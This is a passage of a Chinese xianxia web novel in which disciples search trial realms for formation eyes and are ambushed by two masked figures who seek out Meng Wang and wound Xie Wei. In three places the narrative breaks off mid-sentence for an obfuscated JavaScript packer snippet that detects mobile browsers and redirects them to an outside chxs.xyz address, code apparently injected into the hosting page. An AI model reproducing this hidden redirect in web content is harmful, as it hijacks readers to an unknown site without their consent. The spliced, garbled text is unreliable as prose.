迟羽声猛地后退两步,愣怔两秒后又沉寂下来。转过头看那怪物的尸体,突然扑过去直接用手抓起来撕咬,用力地吞咽着,溅得满身满脸都是血。 “那是我吃过最难吃的东西,比蚯蚓还难吃。”迟羽声边回忆边轻声吐槽道,“但那也是我一生中吃得最饱的一次。” 他吃到呕吐,转过身跑到巨蟒的身前,再也抑制不住抽泣的哭声,只一下下地将头往地上撞,哭得越来越放肆,一遍遍大喊道,“谢谢你、谢谢你!谢谢你把我从水下面捞出来!谢谢你给我吃的!” 他还是哭,泪把血冲淡了,死死抓扯着自己的大腿,跪坐在那里哭得浑身痉挛。 巨蟒看着他,愣住了。 情绪的暴发仅在一瞬之间,又由于之前一惯的麻木而变本加厉,这让他看起来有些神经质,他赫然成长了。 “那是我第三次在心中问自己,到底为什么活着,可我仍是对此没有什么概念。” “后来浮鸿仙尊来到这里把它杀死了,灵丹剥了出来,只因为她要将此地作为习地,而这个巨蟒太过危险,要先除掉,”他说的风轻云淡,“但残体留下了,在水底。” “她把我带走了,我就成了她的大弟子。” 良久无言。 孟惘问他,“……所以你想明白你为什么活着了吗?” 迟羽声答道,“为了人道。” “修真界对我的家人见死不救,魔族杀我爹娘,凡人对我喊打喊杀,仙尊又将救我的妖杀死,但是到头来,我发现我根本恨不起来任何人。” “因为我也是修士,我也是人。魔族也有亲人,他们的亲人也会成两界战争的牺牲品。浮鸿仙尊对我很好,她是个好师尊。” “事间因果远比我想象的要复杂,所以没有必要把时间花费在纠结是爱是恨上,每个人都无法用对错来衡量。”他对孟惘说,“羽声这个名并不是我一开始的名,而是我入境后师尊为我取的。” “她说生于天地间,人就像鸟雀一般,鸟雀虽小,也要振翅发声。” 孟惘强行控制住自己将要散淡颓靡下来的表情,慢慢调整呼吸。 这刺目又刺耳的正道之光,他这个阴暗卑邪的无耻佞邪,真真是要被炽烤火化了。 迟羽声盘着腿,将手放在膝弯上,微低着头说道,“谢谢你愿意听我讲这些。” “你和我说这些就没什么目的?” 他觉得迟羽声就算再良善,也不至于逢人就讲讲他自己的惨痛经历吧。 “……你是天魔后代吧。” 瞳孔寸寸缩紧,身边人轻飘飘一句话犹如晴天霹雳般在耳边嘭然炸响。 他迅速出手掐住那人的脖子将其压倒在地,膝盖抵住他的大腿,手中力道逐渐变大,紊乱低沉的呼吸洒在对方的脸侧,“你怎么知道?” 他知道迟羽声不是在诈他,他和谢惟是一类人,没有胜算的话不说,没有意义的事不做。 迟羽声被他掐得有些喘不上气来,略显艰难道,“你……先松开……” 孟惘看他许久,慢慢松了手上的力道,让他能够说话,但仍是死死压制着他。 “咳、被鸣禽的声音袭击到的修士,灵力都会在短时间内削到二成,因为灵丹和内腑会被震伤,”迟羽声缓缓道,“而你却能在我画出血阵后抛出一个灵力极强的灵印,显然你的灵丹并没有什么问题。” “你说你眼睛差点滚出来,乍一听是开玩笑,但看你身上一点呕血的痕迹都没有,说明你当时一定在紧闭着口,这样就无法纾解耳目因内外气压差受到的挤压力,所以你说的眼球滚出来是真的。” “子波就在大口喘气大口呕血,因为我看他衣服上都是血,所以他没有你那么严重的受压。最后那一剑他也确是用了些灵力,但由切口处不难看出他大多是靠臂力将剑投射到触手上的……” 迟羽声张嘴深吸了两口气,显然被扼住要害的感觉非常不好。 “所以你看,明明都是受到了鸣声波及,最后你的灵丹完好灵力使用正常,眼珠就算滚出来再摁回去也没什么事,我只能理解为你有超乎常人的自愈能力。” “恕在下不才,见识卑浅,对于此等神通只能想到是百里一族。” 孟惘怔住。 怪不得鸣叫之后迟羽声连个触手都挣脱不了,原来是灵丹有损。 而他则是一边受伤一边恢复,所以才觉得没什么事。 至于迟羽声为什么既没吐血也没破鼓膜滚眼珠,孟惘觉得应该是他元婴末期的原因,灵力浑厚将内腑保护的很好,可以放心地张口喘气平衡气压,不用怕把内脏吐出来。 “可以松开我了吗?以你现在的实力还杀不了我,我就是想说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第二天一早他们又心照不宣地当作什么事情都没有发生,燃着灵火继续朝前走去。 洞里空间虽大,但深度并不多深,没过一会儿便见有些光线照了进来,越往前走越亮,大概是要走到出口了。 可是他们到现在都没有发现阵眼。 可能阵眼在江子波那条道上。 方才那湖水水底是不可能的,叶澜院人的最高修为也不过元婴初期,不会冒着那么大的风险到底下布阵。 “迟兄?你们那边找到阵眼了吗?” 江子波主动给他们传音道。 迟羽声拿出传音符应道,“没有,我们快到出口了,你们那边呢?” “唉,别提了!方才刚遇到群礁鬼从石壁里爬出来,我和齐原攻击它们的时候分开了一会,我处理完我那边的时候转头一看人没了,怕是被哪只礁鬼拖石壁里面了,到现在还没找着呢……” 孟惘轻笑一声,漫不经心又委实恶劣道,“他命中该死,别找了。” “那也太不好了,我还是得先找着他再找阵眼,不过说不定一边找他的时候恰巧我还发现阵眼了呢。”江子波嘿嘿道。 “……那好,礁鬼行动迅速又擅拟态,扒墙的时候小心被袭击,也别把洞捣塌了。”迟羽声有意提醒。 …… 等出了石洞,天光大亮,看太阳方位显然已是第二天的正午。 孟惘眯着眼睛向天上看去。 分明他们走的一直是下坡,出来后转身一看石洞和大漠却都是在同一水平面上。 倘若他们这一条下坡路出来时还是与大漠其他地方等高,那江子坡他们走的那条路呢?最后是通向哪里? 迟羽声也意识到不对,“难道是有两个空间?” 空间…… 孟惘想起来刚进到仄冬荒时从远处看到的亮到发白的天线。 当时那天线应该恰在石洞的中间部分穿过。 而他现在抬头去看,天线却不见了。 他们刚进石洞后走的一段路程好像是往上去的,直到出现了两个叉口,一条向下,一条向上。 “是刚进来时的那条天线,天线之上极可能还有一个仄冬荒,我们是先往上走再往下走,所以出来后还是刚开始的仄冬荒,但江子波他们那条路会通向另一个,也就是天线之上。”孟惘说道。 确实是两个空间。 “算了,既然这条路没有阵眼,我们就回去找子波他们吧。”迟羽声看着眼前荒芜的沙海。 孟惘甫一转身,便见远处一道亮光直冲他面门而来,速度极快,他侧身一躲,箭尖堪堪擦着他耳侧而过,一缕青丝飘然而下。 他微微凝眉,箭身没有丝毫灵力,速度却如此之快,甚至来不及完全闪躲便被它削断一缕头发,势头又极准。 可环顾四周,除了他和迟羽声没有第三人,十里之内也没有任何遮挡物。 是谁在放箭?是怪物还是人? 迟羽声将箭捡起,走到孟惘身边,神色警惕,“你没受伤吧?” “没有。” 他拉起孟惘的手腕,语速快而不乱,“我会尽力保护你的安危,先回石洞。” 谁要你保护啊。 其实两人都有种预感,背地里那东西是冲着孟惘来的。 迟羽声拉着他快步走在前面,而就在即将迈入石洞中的那一刻,孟惘的头顶处传来一声促狭的阴笑。 倏地头皮发麻,他立马挣开手腕一把将迟羽声推入洞内,同时借着这推力向后急退两步,几乎是一瞬间,方才迟羽声站着的洞口位置被坍塌的碎石堵了个严实。 洞口塌了,进不去了。 好,果然是针对我的。 “孟惘?!”迟羽声急切的声音从洞内传来,被挡在二人中间的巨大石块削得微乎其微,“你怎么样?你先离远点,我用灵力把它……” “你去找阵眼吧,不用管我,这石头太硬,把它轰开整个石洞就塌了,你们都出不去。”孟惘盯着面前的屏障,“反正那东西冲我来的,和你没关系。” 他转身朝沙漠中走去,音线平稳毫无起伏,尾音被掩埋在风沙里,“能死就死能活就活,就这样吧。” “你保护好自己!我去找阵眼强行开阵,去找你师兄!” 孟惘咂舌。 谢惟还真成神仙了,什么都能靠他? 17. 蒙面 没再顾迟羽声那边,他尽量朝着远离石洞口的方向走去。 可方没走几步,不知何处传来一声异响,还未待孟惘躲避便被人掐住了脖颈猛地一推,强势的灵力裹挟着黄沙将他摁进地里,身下瞬间被砸出一个大坑。 骨头碎裂的声音清晰可闻,一柄鬼头三叉戟狠狠插入孟惘腹中,他痛得抽搐,将喉中涌上的血硬生生咽下,毫不犹豫抬手化出利剑朝身上人砍了过去—— “咔”得一声脆响。 带着黑色面罩的黑衣人一手握着三叉戟将他死死钉在地上,一手轻而易举地捏碎了剑身。 他瞳孔微缩,余光一瞥当即怔住。 那人身后,竟还站着一个蒙面人。 跨坐在孟惘身上的年轻男人伸手抚上他的脸颊,眼底是不可抑制的疯狂,声线和指尖都在激动地颤抖,他微伏下身在他耳边说道,“看,在愈合……找到了……” 孟惘不由得呼吸一窒。 那人兴奋地用指尖描摹着他因刀尖留在体内而无法长全的伤口边缘,眼中满是贪娈,兀地十分疯癫地低笑起来。 等到快笑得喘不过来气,他身后之人才走上前来扶住了他的肩,嗓音带着许久未开口说话的喑哑,“别伤心。” 伤心?! 大哥你要不要看看他在干什么? 身上的蒙面人收了笑,眼中一片猩红,他的手又拨开孟惘的额发抚上他的额头,视线灼烫地照着他的五官描了一圈,低声喃喃道,“很像……就是他,就是。” “长那么大了……” 他不知是在和谁说话,眉眼弯弯地笑起来,“可惜遇到了些什么垃圾。” 这句话…… 他们给孟惘的感觉,和前世的百里夏兰很像很像。 可目的是什么,动机呢。 为什么要验证自己的身份? “让他来见我。” 蒙面人拔出带血的刀刃,高高举起,猛地朝他心口刺去! 几乎没有任何反应的时间,孟惘只能抬起胳膊抵挡,刀尖瞬间蛮横地撕开他的灵力,刺破皮肉钉入骨头,他疼得闷哼一声,额头直冒冷汗,咬牙道,“我不知道……你在、说什么……” 如果将古在就好了。 那破剑一点也不经打。 僵持之下,他用另一只手以手化刃劈向对方的脖颈,那人刚想伸手抓住他的手腕,不料被一根从袖中窜出的硬藤刺穿了掌心。 这虚晃一招用的委实惊险,手刃拐了个方向扼住他的喉咙,那人一手握戟另一只手又被藤条刺穿束缚,只慢了一秒便被孟惘从身上甩开,二人激得一阵尘土飞扬。 另一个蒙面人却始终没有动作。 孟惘流血的胳膊已经愈合,腹部的伤也正在恢复原样,他一手撑着膝微微弯腰站着,呼吸错乱地看向被自己掀出去两米的蒙面人。 只见他慢慢地从地上站起来,将三叉戟深深刺入地里,一手撑着戟柄,眼中是满是得逞的笑意。 一丝不详的预感升起。 突觉袖中一股灵力在波动,紧接着谢惟的声音自袖中传来,“孟惘,你受伤了?!” 他紧盯着对面二人,“没有。” “别骗我,你对面是不是有人?符咒见血就会产生感应,是不是你的血?” 对面的蒙面人低低地笑起来,将戟柄一提一挥,提步朝他奔去,攻势诡谲不要命的打法。孟惘手中没有法器,就算调出魔气,凭他的灵力也根本无法与其正面对抗,只得艰难闪躲。 “还不来吗?不然你的好师弟可快没命了,”他的情绪异常亢奋,音调不断抬高,其间还掺杂着颤抖破碎的笑声,“我可是盼着你早点儿到,毕竟他那么可爱我真不想让他就这么死掉——” 蓦地心下一悸。 盼着他早点到?怎么还牵扯上谢惟了? 原来那人早就知道自己的袖中有符咒,且沾血就能与谢惟那边发生感应,所以他是故意逼自己抬手格挡好让血流到符咒上。 恰在他刚要躲开迎面一击时,听见另一个蒙面人在不远处拉开了弓弦…… 就算侧身躲过了三叉戟,也必定会被射中要害。 孟惘的心底突然空了一瞬。 那种前世继位前在百里夏兰手下不断提升修为时的无力和颓靡如洪流般涌了上来。 百里绎将他养到九岁之时便自爆了,此后这具躯体带着封骨术受了七年无感之苦。 他比谁都清楚,他没有过去,也不会有将来。如果不是谢惟,他根本不知道自己为什么还要活着,但事实上,就连谢惟也不想让他留在这世上。 此间罪恶涛天者有一双比神明还要澄澈的眼睛,比初婴还要净墨,微微侧首望着那袭来的箭光,其中疾显的茫然竟刺得那放箭之人指尖轻颤一瞬。 本以为马上就要死掉的时候,眼前一道白光乍现,孟惘好似瞥见一抹白色身影与自己擦肩而过,顿时明白了什么,他慌张地伸手去挽那转瞬即逝的身影,脱口而出,“你别去!” 葱白的指尖仅衔住一缕飘渺轻烟,昼光迅速消失,回过神时,他发现自己正站在一处崎岖不平的石崖上。 转身一看,身边站着一位其他境内的弟子。 孟惘大半身都是血,那弟子本就胆怯地看着他,此时又被他的眼神吓得后退两步—— “是、是谢师兄让你在这儿等着,他让你不要乱去,石崖下面就是阵眼,明天就能出去。” “这是哪儿?”孟惘面色阴沉的能滴出水来。 “泅、泅渡川。” 谢惟和他空间互换了。 是那张符纸。 他跳下石崖落到地上的阵眼处,用灵力割破食指在上面画了一个阵法。 就像迟羽声说的,强行打开传送阵。 待他出了泅渡川又回到浔仙道时,叶澜院的人正在外面等着,恰在此时迟羽声、齐原、江子波也正从仄冬荒的传送阵出来,齐齐震惊地看着他。 见他周身戾气似有实体般能把人勒死,迟羽声和江子波识相地没有开口询问。 他错开迟羽声等人一言不发地重新迈入仄冬荒的传送阵,却忽地被人拉住了胳膊。 齐原的身上有很多石粒和尘土,好似刚被从墙里扒出来,言语中带着狂躁的怒气—— “迟羽声着急忙慌地说要先出去到泅渡川找谢惟去救你,结果你现在自己先出来了?还是在泅渡川出来的?!” “你把我们当猴子耍吗?!” 孟惘停下来转过身,扒拉过他的肩膀让他正面对着自己,齐原不耐烦地皱眉,“你他妈……!” 只听“嘭”地一声,他撞翻了身旁的桌子,被扇出数米开外,头部撞在地上发出一声闷响,脸上紫红一片,猛地呛出一口血。 孟惘的音调毫无起伏,像是在背烂熟于心的台词一般,“不听话的人要扇脸或撞头,八分靠力气,剩下两分用点灵力。 “你这种贱货本来应该要撞碎头盖骨的,为了节约时间我就只好扇脸了。” 言罢他便消失在了阵中。 …… 与此同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13702547|144459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时—— 谢惟被蒙面人按在地上,无妄剑死死抵住三叉戟,刀尖与他的眼瞳不过两指宽的距离。 那人的膝盖压在他的腹部,仅一只手握戟力道便如此之大…… “你是谁?魔修?”谢惟默默咬紧后槽牙,面色冷若凝霜。 有如此实力的,除了修真界五位境主,就只能是魔界百里夏兰。 但显然他都不符合,且不说一旁手拿弓箭却一直不出手的人实力如何,单就压着他的这个蒙面人修为就强到可怕。 谢惟和他过招时几次想挑下他的面罩,但却连边儿都碰不到。 且他总有种这个人是猫抓老鼠随便玩玩的感觉,若当真如此,此人的实力则远超五位仙尊。 这种感觉令他脊背发凉。 “你叫什么名字?”蒙面人的语调总是上下起伏不定,像是个毫无理智的疯子,“我觉得我们是一类人。” “你也做过那件事,对不对?” 他眸中透澈,谢惟的瞳色又浅淡,彼此相映着,谢惟突然感觉这眉眼有几分面熟。 他好似有许多话要说,往往话题跳跃很大,前后半句驴唇不对马嘴,“知不知道你和他换会死,嗯?” “你就那么喜欢他?” 一双桃花眼微微睁大,谢惟望着他有片刻出神,手下力道不自觉地松了下来,刀尖离他越来越近…… 那人轻声问道—— “你和他做过吗?” 像是一颗火种丢入油中,灼人的热浪轰然荡开,刹那间无妄剑剑身灵力暴涨,剑气不分敌我地四散开来,有几道割破了谢惟的脖颈和脸侧,肩处也被切出一道见骨的伤口,鲜血刹时洇透了衣衫。 他不知从哪里来的力气强硬地将剑身一斜,狠狠向上一扫,蒙面人猛地向后仰倒,凶厉的剑气将他的面罩竖着割破了一道口子,他借势一手撑地双腿一抬,一个后空翻退到了三米开外的地方。 谢惟用剑撑着起身,目光凌厉有如实质,脸侧和脖颈上有道道血痕流下,垂落的发尾随风而动,如同战场上凌乱妖冶的花,显尽杀伐之美。 蒙面人自知惹怒他了,笑意不减反增,故意道,“生气了?那就是到现在还没做过……” 剑光剧昼,发出阵阵磨人的翁鸣,谢惟方一抬手,只听对方低念一声,脚下便赫然出现了一个覆着繁密符文的八卦阵。 他一步步朝阵法走去,却不是在和谢惟说话,声音温柔得很,隐隐透着种勾人的偏执,“哥哥,你过来。” 身后一直没有动作的蒙面人闻言走向前去,十分自然地一手圈住他的腰将他揽入怀中,嗓音低沉却带着股阴邪之气,“赶紧,一会儿他回来了。” 他是他……爱人? 虽然面罩遮住了下半张脸,但二人的周身气势却极为相同。 谢惟讶异之余发现自己动不了了,好像有什么东西顺着指尖游入灵脉,然后探入了识海,他危险地眯起眼睛,“你要探我记忆?” “别紧张。”蒙面人发出来自肺腑的模糊笑声,后倚着抬手摩挲着身后之人的脸侧,“我说了,我觉得我们是一类人,确认一下而已。” 话音一落片刻,阵纹倏地淡去,他意味不明道,“以后你会想着见我的。” 另一个蒙面人抬了抬手,眨眼间,二人便彻底消失在了原地。 行动恢复了自由,谢惟垂头看着地上盘旋而起的黄沙,无妄剑在手中渐渐散去,回旋的低风卷起他的衣袍下摆。 肩上的伤血流不止,他眸中暗光微浮,浑然不觉。 18. 枯月 离传送阵自行开启还有一日。 枯月峰—— “小心身后!” 风乔儿将绊在胳膊上的软缨枪尾端向上一抬,枪尖直插地底,她一只脚踩上枪身使头部朝下,紧抓着枪柄的骨节咔咔作响,同时下身猛地往上一翻—— 两米多长的软缨枪与普通的缨枪相比有着超强的韧性和弹力,她纤细的身躯被高高荡起,躲开了自身后袭来的巨尾,借着这个空翻稳稳跃到了石兽的背部。 几乎是没有任何间歇的,她将软缨枪高高举起,附着灵光的枪尖直直插入了石兽脖颈处的间隙,手腕向下狠狠一压! 她想把石兽的头部直接卸下来。 这东西通身灰白,皮肤坚硬如铁刀枪不入,木筱雨和其缠斗了半天才发现它只有脖颈一圈处有些空隙。 她面露担忧地看着站在石兽身上的风乔儿,这小丫头实力强悍,但招招都剑走偏锋,一招一式随心而走根本不考虑后果。 谁教她这么野的打法。 木筱雨收了竹鞭,拔出腰间的玉笛吹奏。 笛声悠远,空灵但急切,如涨潮般一波接一波地向上推。 被插透后颈的石兽咆哮着,脚底生出一个竹叶形法阵,死死固住了它的身形。 这只石兽的强悍程度不亚于上次古土境后山跑出来的魇兽。 温落安看着木筱雨被汗水打湿的鬓发,看着风乔儿青筋暴起向下摁着缨枪的手背,明明灵力已发挥到极致,冲得她黑发翻飞,可枪尖难下哪怕一寸。 他想帮忙,但又无从插手。 七弦红木琴主要控人心魂,在攻击上派不上多大用场。 “师姐,借一下你的竹鞭。” 极其淡定理智的声音打破了温落安内心的纠结,他侧目望去,只见洛画言早已将插在木筱雨腰间的竹鞭拔出,迅速奔向石兽。 木筱雨正吹笛维系着阵法无暇分心,只在身后看着她的背影拧起了眉。 洛画言左手握鞭当空一抽,一个蓝色灵印浮现在她头顶,近乎盖住了整座枯月峰。 蓬勃的灵力迅速显现并灌满鞭身,脚下加速到一定程度后她突然弯起膝盖将重心放低,同时身体略微后仰直接滑到了石兽头部的正下方,将一米长的竹鞭抬手便插入它的颈下空隙,手心朝上用力一推! 这次风乔儿攻上她攻下,两面夹击,“嘭”的一声巨响,石兽的头部终于被卸了下来,像死物一样倒在地上不动了。 木筱雨卸了力,长长舒出一口气,低头将玉笛插回腰间,原本控制着石兽行动的竹叶阵也随之消失。 “我以为你们腰上戴的都是普通饰品,竟是炼的仙器吗?”风乔儿的长枪自她指尖消散,她扶着洛画言朝这儿走来。 木筱雨知道她这是在说方才用的那根玉笛,一手叉腰微微抬着下巴,“索苑境可不戴赘饰。” 当她看到洛画言苍白的面容时脸色又不禁僵了僵,没好气地把竹鞭从她手中抽出,“傻子!开那么大灵印不要命了?!” 灵印虽能在危机时刻极大程度的提升实力,但对灵丹和精神力的损耗也很大,所以不到万不得已没人愿意用。 方才洛画言用的灵印已盖住了整座枯月峰,其程度可以归为中阶灵印了。 木筱雨将她从风乔儿的手中拉过,洛画言脚下一个没站稳几乎是歪倒在她怀中,她挣扎着要后退,却被对方长臂一揽制住了身形—— “别动!我探探你灵脉!” 木筱雨的声音近在咫尺,娇矜带着愠怒,洛画言抵靠着那片柔软,脸侧发烫,不自然地偏开头去,那甜腻的体香又不饶人地缠上鼻尖…… 她静静地由人抓着手腕,只觉被摁着的皮肤都微微发热,心里盼着她能早些探完。 终于感到圈着自己的胳膊一松,洛画言忙后撤一步与她拉开距离,为了显得不那么突兀接着弯腰作揖,喊了一声“师姐”。 “呵,”木筱雨冷笑一声,直言道,“你真是哪样都让我讨厌,莫名奇妙一套一套。” 洛画言习惯了她的冷嘲热讽,只是动了动眼皮。 “行了……”风乔儿有些看不下去,她拉着身旁的温落安朝山下走去,“枯月峰那么大,再不找阵眼到什么时候才能出去。” 木筱雨拉起洛画言的手腕,烦躁道,“和夏许泽、应海他们走散了不说,姓洛的也不省心,还有个十四五岁的小孩和一只小妖……” 洛画言感到一股浑厚的灵力自手腕流入灵脉,流遍全身后汇聚到灵丹四周盘旋,不禁愣住。 她竟在为自己……疗养灵丹? “不是,”风乔儿走在前面反驳道,“我生辰早,两天前正好十六岁生辰,可不是什么小孩,凡间很多十六岁姑娘都嫁人了。” “啊?十六岁嫁人?”木筱雨嘴角一僵。 她自小是出身名门的大小姐,被家人花重金送到境内修行,不论是在人界还是在修真界,条件和地位都是一顶一的好。玉叶金柯含着金汤匙长大,二十多年来日子过的比头发丝儿还顺,对人界下层百姓的习俗和生活状况是一概不知。 风乔儿默默叹了口气,犹豫道,“你……那种大多都是迫于爹娘,并不是每个人都能轻松觅得良缘,我觉得,一个人能有一桩自己满意的婚事、能和喜欢的人成亲是件很不容易的一件事。” 木筱雨听出来了她的弦外之音。 她瞥了一眼身旁的洛画言,勾起一丝玩味的笑来,“是吗,但谁说良缘一定是良缘呢,害得自己智力短缺的良缘不如不要。” 风乔儿知道她是在暗讽洛画言为了个破簪子当众冤枉她和她撕破脸。 其实但凡动脑子想想也知道木筱雨这种人根本不屑去行偷窃的脏事,那簪子定是被她境内其他的弟子偷去了,洛画言却仍死板固执地一口咬定是木筱雨所为,就因为她知道只有木筱雨进过那间屋子。 虽然洛画言确实是死脑筋,但木筱雨也着实是太过记仇。 看来那桩亲事是注定挽回不了了。 洛画言也不知是听出来还是没听出来,从始至终低着头一言不发。 一阵沉寂。 “喂……丫头。”木筱雨叫了叫风乔儿,“你体术不错,小小年纪,还挺有本事的。” 风乔儿笑笑,“再差点就入不了门了。” 他们五个人,除了孟惘和温落安,都是正儿八经通过入门大比才进来的,南墟境入门大比每六年才开一次,要想正式拜入天玄仙尊座下,必要夺得榜首。 风乔儿恰是在十四岁时,以一根软缨枪连战两日,枪法诡谲,毫无路数,只求短时间内制服对手而不顾自己性命安危,偏偏此人又功夫扎实,体力充沛,有不达目的善不罢休的狠劲,百场下来成为大比第一,众人都惊掉了下巴。 十四岁的小姑娘,路子野的让人可怕。 傅靖元是在她之前的一次大比上入的门,那时他也正十四岁。 谢惟和傅靖元同龄,却比傅靖元入门更早,但若按大比六年一开,谢惟应当是在八岁就入门的,但一个八岁的小孩,怎么能得境内榜首呢。 简直不可置信。 向来目中无人的木筱雨也不由得对南墟境另眼相看,她能感觉到,就算是那个看似最温温弱弱的温落安,如果用真实实力打一场,百招之内怕是也难分上下…… 突然前方传来一声异响,她猛地抬头向前望去,只见前路赫然一个大洞, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13702548|144459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原本走在前面的二人转眼间便不见了。 她趴在洞口朝下看去,那洞口却深不见底,一眼望去底部幽黑。 重物落地声迟迟响起,一声惊慌的“师姐”隐约自洞底传来。 “你们怎么样?!”木筱雨朝下面喊道,余音久久回荡。 这洞极深,数百米不止。 “我们没事……你们先下山,这里面有路,我和师弟从下面走。”风乔儿的话附带着灵力传上来,能听出她语中忍着抽气。 从这么高处落下,纵使有灵力护身能护住内腑,外体所伤也在所难免。 木筱雨抿了抿唇,犹豫地站起身来,利落道,“走,没别的办法,风乔儿估计伤的重上不来了,让她们走下面吧。” …… 温落安从身后看着她腹侧被血染透的一大片狰狞伤口。 掉下来时风乔儿将他拉到怀里给他垫了底,因为当时太过突然来不及施法设保护障,只能靠散开体内灵力增大缓冲力。 听到风乔儿将隐忍的低哼憋在嗓子里时只以为她是摔疼的,但当一阵浓郁的血腥味传入鼻尖时,他又立刻连滚带爬地从她身上下来跪到一旁,靠着妖先天敏锐的夜视能力,在黑暗的洞底看到一棵倒刺穿透了她的腹侧,足有半个拳头宽。 温落安吓坏了,跪坐在她身旁一声声喊着她,手足无措。 “你师姐没死。” 他听到那人强装调侃的音调,以及因疼痛而无法抑制的颤音。 风乔儿给木筱雨交代完让她们放心之后,化出长枪撑着地直接坐了起来,皮肉撕裂的声音听得他头皮一麻,本伸手想去搀扶着她,不料却被轻轻推开—— “不用,这里太不安全,我走在前面。” 在她身后能看到被刺穿的那个窟窿还在流血,很快半边身子都被鲜血洇透。 温落安二话不说绕到她身前半蹲了下去,“师姐,我背你。” 风乔儿一怔,“我没事儿……” 他故意较真似的,一动不动。 风乔儿有些哭笑不得,只好扒着他的肩趴在他背上,“你可悠着点别摔了,你师姐我可受不住重创了。” 温落安稳稳的背起她向前走去,小声道,“以后有危险,先保护好自己。” 身后的人笑了笑,“我不垫底难道还能让你垫底吗。” “我是妖,没事的。” “妖怎么了,妖也怕疼啊。”风乔儿捏捏他的脸侧,调侃道,“你们妖王特意送来的小妖,当然不能让受委屈了。” 提到许千影,温落安眼神微动,没有说话。 “对了,你和许千影关系很好?” “我之前……是他养的一只雪狐,在他身边待了许多年,是他帮助我结丹成妖的。”他的声音有些许落寞。 “哦,原来这样,那他一定是待你极好了,感觉像是咱大师兄对三师兄一样,当自家小孩养的。” 温落安沉默半晌,淡淡地“嗯”了一声。 风乔儿心知有异,“既然想他,为什么不回去看看?” “王不让我回去,”他微微弯起唇角,垂着眼皮掩去眸中情绪,“应该是怕耽误我修炼吧。” 这次换风乔儿沉默了。 不让回去啊…… 不论是什么原因,心里也应该是很难受的吧。 如是想着,不知过了多久,眼前亮光隐现,他们终于出了洞内,站在了山上。 “这里有个阵法,把我们传到山腰了。” 风乔儿观察着四周,“向山下走,阵眼应该在山下。” 西落的日光自他们的背后倾洒,在前行的路上铺上一层橙红的锦绣丝绸,蜿蜒而下。 19. 初见 听到石洞那边有动静,谢惟闻声望去,只见原本被堵得严实的洞口上半部分现已被搬空,下半部分最大的一块石头也被灵力搬起,扔到洞前的一处空地。 孟惘原本高束着的发不知何时散了下来,洞口的风很大,将及腰长发吹得翩跹,碎发遮住眉眼,就这样立在洞口,静静地看着他。 从谢惟那边吹来的沙尘拂到唇上,他下意识抿唇舔了舔…… 苦的。 他快步朝风沙中的白色身影走去,脚步越来越快,最后紧跑两步扑到来人怀中,也被来人稳稳地接住。 十六岁的他比谢惟矮一点,稍一低头便能将脸埋入那人的肩处,可还没待将下巴放上去便看到了他肩上渗出的鲜血,那是一道极深的伤口。 “师兄你……” 他眉心微蹙,眼中满是心疼和歉疚,低垂的眼尾洇着红,一副要哭出来的可怜样。 他不想让那人因他受伤。 古土秘境一次,这又是一次。 一只手温柔地揉揉他的后脑勺,谢惟垂眸看着他,“不疼,是无妄剑气错伤,蒙面人已经走了。” 命剑一生一息本应尽在主人掌控之内,怎么会错伤? 孟惘没心思想蒙面人为何要把谢惟牵扯进来,只急着回去给他处理伤口,拉着他另一只胳膊同他一起朝洞内走去。 “你有没有受伤?”谢惟问道。 “没有,他们应该是对符咒做了手脚,故意引你来的。”孟惘离他更近,抱着他的胳膊,“他们有没有对你说些什么?” “……没有。” 这天聊的。 没有一个问题是有用的,没有一句回答是认真的。 他们果真在江子波那条道上找到了传送阵,出了仄冬荒。 方一回到南墟的月华殿中,孟惘便将他拽到床边,伸手就去解他的腰带…… 谢惟匆忙摁住他的手,语气有些诧异,“你干什么?” “我给你上药啊。”孟惘不解又无辜地看向他。 谢惟从小教他的,讲过无数遍的—— 不能随便亲人、舔人、咬人。 这三点是绝对禁止的,经过多次劝教他才终于记在心里,除此以外的所有不当举动他都固执己见,根本听不进去。 “不用上药,灵气养几天就好。” “那怎么行!到现在都在流血,上点药用绷带缠上才行。” 孟惘摁着他另一边没受伤的肩膀让他坐在床上,然后自己脱鞋上床跪坐在床边,将他的腰带解开放到一边,“我有药,用药好的快。” 谢惟又抓住了他要去脱自己衣服的手,僵硬道,“给我。” “你一只手,你……”他有些委屈了,“你干嘛总是避讳我,我又不是旁人。” 他挪到他的身后,跪坐着抱住他的腰,“我就是给你上点药,然后缠上绷带止血,你一只手又做不到。” 他很反感谢惟的疏离。 谢惟可以对任何人疏离,但独独不能对他,不然他会生气,生气就会故意和那人对着干。 “……松手。” 他温热的身躯覆于其后,太阳穴贴着谢惟隐在发中有些发热的耳廓,紧紧圈着那人劲瘦的腰身,眼中晦暗不明,语气却极富撒娇意味—— “我不,你疏远我,伤心。” 他向来吃软不吃硬,越不让做什么越做什么,除非哄着。 “没疏远你,先松手……让你上药。” 孟惘的雏鸟情结极为严重,独喜欢与捡他上山的谢惟亲近,也不觉得这样从后面抱着人有什么不妥。 